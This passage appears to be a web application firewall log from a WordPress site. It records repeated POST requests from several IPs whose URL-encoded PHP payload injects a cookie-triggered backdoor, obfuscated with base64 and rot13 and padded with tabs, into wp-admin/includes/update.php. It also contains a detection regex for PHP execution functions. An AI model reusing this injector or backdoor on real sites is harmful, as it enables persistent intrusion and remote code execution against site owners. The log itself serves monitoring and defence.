%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524key%2520%253D%2520%25226bdd70bbcc6f7b7b78db6038a6df715f%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4366\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMKRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\n\neq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B50%252B-50%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B37-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2--2%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527686b8a08%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524resource%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524resource%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524key%2520%253D%2520%25226bdd70bbcc6f7b7b78db6038a6df715f%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:49:17","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Py:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B50%252B-50%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B37-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2--2%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527686b8a08%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524resource%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524resource%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524key%2520%253D%2520%25226bdd70bbcc6f7b7b78db6038a6df715f%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4366\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHUxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\n\nPy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B50%252B-50%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B37-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2--2%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527686b8a08%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524resource%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524resource%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524key%2520%253D%2520%25226bdd70bbcc6f7b7b78db6038a6df715f%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:49:21","185.98.128.239","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B50%252B-50%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B37-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2--2%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527686b8a08%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524resource%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524resource%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524key%2520%253D%2520%25226bdd70bbcc6f7b7b78db6038a6df715f%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4366\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMUVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\n\ndr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B50%252B-50%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B37-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2--2%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527686b8a08%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524resource%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524resource%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524key%2520%253D%2520%25226bdd70bbcc6f7b7b78db6038a6df715f%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:49:24","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B50%252B-50%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B37-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2--2%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527686b8a08%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524resource%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524resource%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524key%2520%253D%2520%25226bdd70bbcc6f7b7b78db6038a6df715f%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522token_parser_engine_buffer_cache%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20fore